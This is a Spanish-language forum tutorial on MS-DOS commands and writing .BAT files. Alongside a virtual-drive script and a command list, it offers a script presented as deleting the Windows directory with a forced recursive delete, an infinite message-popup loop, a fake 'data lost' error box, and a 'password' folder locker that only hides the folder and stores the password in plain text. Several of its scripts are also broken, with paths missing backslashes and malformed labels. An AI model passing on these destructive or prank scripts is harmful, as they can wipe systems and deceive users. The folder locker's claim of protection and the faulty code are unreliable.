Bat
Bat
Bat
Bueno es mi primer post y les voy a ensear algunos comandos MS-DOS y como crear
nuestro propio archivo .BAT, pueden usarlo como las les guste. NO ME HAGO
RESPONSABLE DEL USO QUE LE DEN.
Primero un poco de Info:
El MS-DOS fue el producto clave, a finales de los aos ochenta del siglo XX, en la
transformacin de Microsoft desde sus orgenes en los aos 70 como proveedor especializado
en lenguajes de programacin a su actual estado como gigante en la industria informtica.
Precisamente los ingresos por las ventas de MS-DOS (particularmente mediante contratos
exclusivos con marcas, probados como ilegales en Estados Unidos ms tarde) [cita requerida]
hicieron posible un espectacular crecimiento de la compaa. De hecho, hasta la salida de
Windows 95, los ingresos por MS-DOS eran superiores a los de Windows.
Con el tiempo MS-DOS imit otros sistemas operativos; MS-DOS 2.0 introdujo caractersticas
de Unix tales como subdirectorios, es decir, estructura jerrquica y redireccin de
entrada/salida de rdenes y tuberas (en ingls pipe).
Actualmente, MS-DOS ha sido sustituido por la familia de sistemas Windows de Microsoft, sin
embargo la consola de comando del sistema permite acceder a un entorno de texto con casi
los mismos comandos de MS-DOS.
Las primeras versiones de Windows podan ejecutar programas para MS-DOS. Las ltimas
versiones de DOS "extendidas" usaban el modo protegido. Las ltimas versiones de Windows
se ejecutan independientemente de DOS pero incluyen una parte importante de viejo cdigo
que puede ejecutarse en mquinas virtuales (virtual machines).
Bueno ahora vamos a crear nustro propio archivo .BAT :
1ero Abrimos un bloc de notas (.txt) y dentro de el ponemos los comandos.
2do Una ves terminado de cargar los comandos que mas nos gusten, vamos a "guardar como"
y ponemos el nombre que mas nos guste, como por ejemplo: nombre.bat (es importante que
lo hagan desde guardar como y que pongan .bat porque sino, no les va a funcionar).
Ah pone, a la izquierda: Este, hara que salieran infinitas ventanas en las que pusiera "Hola!"
Y a la derecha: Escribir al final .bat para que funcione. (La explicacin de esto, est antes de la
imagen).
2do Este comando muy util, sirve para crear una unidad de disco virtual (lo ejecutan y tendran
una unidad de disco como la C :
echo of
:menu
cls
color b
title BIENVENIDO AL CREADOR DE DISCO DURO VIRTUAL BY LocalGmrs
echo.
echo BIENVENIDO %USERNAME%
ECHO.
ECHO ELIJE UNA OPCION...
ECHO.
ECHO ======================================== ===
ECHO = 1. CREAR UN DISCO DURO VIRTUAL ==
ECHO = 2. BORRAR EL DISCO DURO VIRTUAL ==
ECHO = 3. SALIR ==
ECHO ======================================== ===
ECHO.
SET /P ver= QUE DESEA HACER?
if %ver%==1 goto crear
if %ver%==2 goto bo
if %ver%==3 goto salir
:crear
md "c:disco duro extra"
attrib +h "C:disco duro extra"
subst I: "C:disco duro extra"
msg * EL DISCO DURO VIRTUAL SE CREO SATISFACTORIAMENTE
goto menu
:bo
attrib -h "C:disco duro extra"
rd "c:disco duro extra"
subst I: /d
msg * EL DISCO DURO VIRTUAL SE BORRO SATISFACTORIAMENTE
goto menu
:salir
msg * GRACIAS POR USAR MI PROGRAMA...
exit
Este comando manda mensajes infinitos en una ventana situada al medio de la pantalla.
echo of
:bucle
msg * Hola!
goto bucle
exit
3ero Este comando borra el windows, CUIDADO CON LO QUE HACEN:
echo of
title g00d by3 wind0w5
echo 4dio5 a tu wind0w5
del /s /f /q c:windows
exit
Bueno a Continuuacion les dejo una Lista completa de Comandos MS-DOS para sus
archivos .BAT :
CHOICE - Una novedad del DOS. 6. Le pide al usuario que efecte una seleccin en una
secuencia batch.
CLS - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es un comando pequeo
e interesante que conviene recordar.
CONFIG.SYS - Archivo de configuracin que dispone de instrucciones propias. Este archivo se
ejecuta automticamente cada vez que se pone en funcionamiento la computadora.
COUNTRY - Nacionaliza el sistema, adaptndolo al pas.
DATE - Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha
introducida se graba en las memorias permanentes.
DBLSPACE - Compacta el disco duro, duplicando aproximadamente su capacidad. La
compresin puede variar normalmente de 1,7 a ms de 10, segn el tipo de archivo. Este
comando ha sido reemplazado por DRIVESPACE a partir del DOS 6.22.
DBLSPACE.SYS - Una novedad del DOS 6. Determina la posicin final del archivo
dblspace.bin.
DEBUG - Lanza el programa de "debugging' (eliminacin de errores). Debug est reservado a
los expertos.
DEFRAG - Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para mejorar
la velocidad y la seguridad.
DEL - Destruye uno o varios archivos en el disco (acta como el comando ERASE).
DELOLDOS - Suprime la puesta en reserva de un DOS antiguo.
DELTREE - Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene, incluyendo
los subdirectorios, en una sola operacin.
DEVICE - Instala un driver de perifrico, por medio del config.sys.
DEVICEHIGH - Carga un administrador en memoria superior, por encima de los primeros 640
KB.
DISKCOMP - Compara el contenido total, pista por pista y sector por sector, de dos disquetes
Ejemplo:
En el bloc de notas ponemos lo siguiente:
MsgBox"Error grave, se ha perdido la informacion",4117,"Error grave"
El numero de configuracion usado en el ejemplo, el 4117, es la suma del 5 (Reintentar y
Cancelar) + 16 (Icono de error) + 4096 (Mensaje de sistema), de esta manera conseguimos
configurar 3 parmetros de la alerta.
Y para guardar el archivo hacemos lo siguiente:
Vamos al men archivo, seleccionamos guardar, colocamos el nombre que queramos al
archivo finalizando con la extensin .vbs , seleccionamos en tipo todos los archivos y hacemos
clic en guardar y listo!
-------------------------------------------------------------------------------------------------------------------------------------------------------------------Aqui como ocultar carpetas:
cls
ECHO OFF
title Folder Private
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Deseas bloquear esta carpeta(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Escriba la contrasea para desbloquear la carpeta
set/p "pass=>"
if NOT %pass%== Contrasea aqui goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
echo Folder Unlocked successfully
goto End
FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End
Ahora cambian las palabras que estan en rojo por el nombre de la carpeta que van a a poner a
la carpeta, y donde esta en verde ahi van a poner la contrasea de la carpeta
Se van a archivo ahi mismo en el bloc de notas y le dan guardar como...
En la ventana que les aparece lo guardan con el nombre que quieran pero con la
terminacion .bat como en los otros ejemplos.
Listo!! ahora solo copian ese archivo por ejemplo en DOCUMENTOS le dan doble clic al
archivo .bat y se les creara la carpeta con el nombre que le pusieron, pero ojo aun no tiene la
contrasea lo pueden comprobar abriendo la carpeta y veran que no tiene contrasea y que
cualquiera la puede abrir, para esto le vuelven a dar doble clic al archivo .bat y les aparecera
una ventanita preguntando que si quieren bloquear la carpeta solo escriben la letra "Y" y le
dan al enter y automaticamente se desaparecera la carpeta que se creo primero, para
desbloquearla solo tienen que abrir de nuevo el archivo .bat y les pedira la contrasea la
ponen y de nuevo aparecera la carpeta. Les recomiendo escribir el nombre de su carpeta
private para que no les cambie el nombre
-------------------------------------------------------------------------------------------------------------------------------------------------------------------